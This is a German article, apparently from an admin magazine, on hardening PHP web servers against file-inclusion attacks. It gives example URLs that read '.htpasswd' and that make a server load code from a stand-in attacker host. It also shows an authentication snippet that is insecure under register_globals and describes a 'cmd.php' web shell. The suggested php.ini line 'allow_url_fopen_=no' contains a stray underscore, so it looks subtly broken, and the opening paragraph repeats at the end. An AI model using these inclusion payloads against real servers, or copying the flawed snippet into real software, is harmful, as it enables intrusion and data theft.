Wenn Benutzer beliebige PHP-Skripte installieren, gefährden sie die Sicherheit des Webservers. Kleine Fehler genügen, um Angreifern Zugang zum Dateisystem oder zur Shell zu geben. Doch dem Admin bleibt ein Schutzschild: Nutzt er die Optionen von PHP konsequent, ist das Risiko erträglich.

Angriffscode per HTTP nachladen

Sehr bequem hat es ein Angreifer, wenn PHP-Skripte großzügig mit Seiten-IDs arbeiten, die den Include einer Datei vorbereiten. So ist anhand der folgenden URL bereits ersichtlich, dass das Skript »index.php« die Variable »$id« einfach als Pfad für einen PHP-Include-Befehl übernimmt:

http://www.Server.de/cms/index.php?id=info/termine.txt

Schon leichte Manipulationen an der URL fördern schnell Informationen zu Tage, die der Apache-Webserver selbst aus guten Gründen nicht als Datei ausgeliefert hätte:

http://www.Server.de/cms/index.php?id=intern/.htpasswd

Dem Administrator bleibt zumindest die Gewissheit, dass Open_basedir den Zugriff auf Daten anderer Nutzer unterbindet. Der Angreifer sieht nur die Files der betroffenen Domain. Wer aber glaubt, er könne nur Dateien dieser Domain einbinden, irrt sich: Der PHP-Befehl »include« verarbeitet per Default auch URLs und lädt PHP-Files auf Wunsch per FTP oder HTTP.

01 <?
02 if($username == "tux" && $password == "blabla") {
03     $auth = 1;
04 }
05 
06 if($auth == 1) {
07     print "Interner Bereich";
08 } else {
09     print "Sorry, kein Zugriff";
10 }
11 ?>

Das Include-Kommando arbeitet netzweit

Manipuliert ein Angreifer die URL und lässt sie auf PHP-Code zeigen, der auf einem externen Webserver liegt, lädt der angegriffene Server diesen Code, bindet ihn an passender Stelle ein und führt ihn aus. Abbildung 5 zeigt den Ablauf. Die manipulierte URL enthält die Adresse des Angreifer-Servers:

http://www.Server.de/cms/index.php?
id=http://www.Angreifer.de/hackcode.php

Ein weiterer Parameter in der Konfigurationsdatei »php.ini« schafft Abhilfe:

allow_url_fopen_=no

Abbildung 5: Fehlerhafte PHP-Skripte erlauben es einem Angreifer, eigenen Code in die Seite einzuschleusen. Diesen Code lädt PHP auf Wunsch auch von einem entfernten Webserver.

Ein Blick in die Logfiles vieler Webserver zeigt, dass Skript-Kiddies programmgesteuert Webseiten durchsuchen und auf deren Verwundbarkeit testen. Dank Google ist es kein Problem, Erfolg versprechende URLs zu finden. Eine Suche nach der Zeichenkette »=http://« im eigenen »access«-Logfile von Apache führt schnell zu Verdachtsfällen, denen nachzugehen lohnt.

Manchmal sind vollständige URLs in den Aufrufparametern einer Webseite unverdächtig, zum Beispiel bei Übersetzungsdiensten oder Anonymisierern für andere Webseiten. Meist hat diese Zeichenkette in Parametern einer Webseite aber keine guten Absichten.

Interessant und raffiniert ist das bei Skript-Kiddies beliebte Skript »cmd.txt«, auch als »cmd.php« bekannt. Es nimmt den Aufrufparameter »cmd« entgegen und versucht, das übergebene Kommando als Linux-Befehl mit Hilfe von »exec()« oder »system()« auszuführen. Ein Angreifer verfügt damit über eine flexible Shell. Die Unix-Kommandos übergibt er bequem in der Adresszeile des Browsers.

Wenn Benutzer beliebige PHP-Skripte installieren, gefährden sie die Sicherheit des Webservers. Kleine Fehler genügen, um Angreifern Zugang zum Dateisystem oder zur Shell zu geben. Doch dem Admin bleibt ein Schutzschild: Nutzt er die Optionen von PHP konsequent, ist das Risiko erträglich.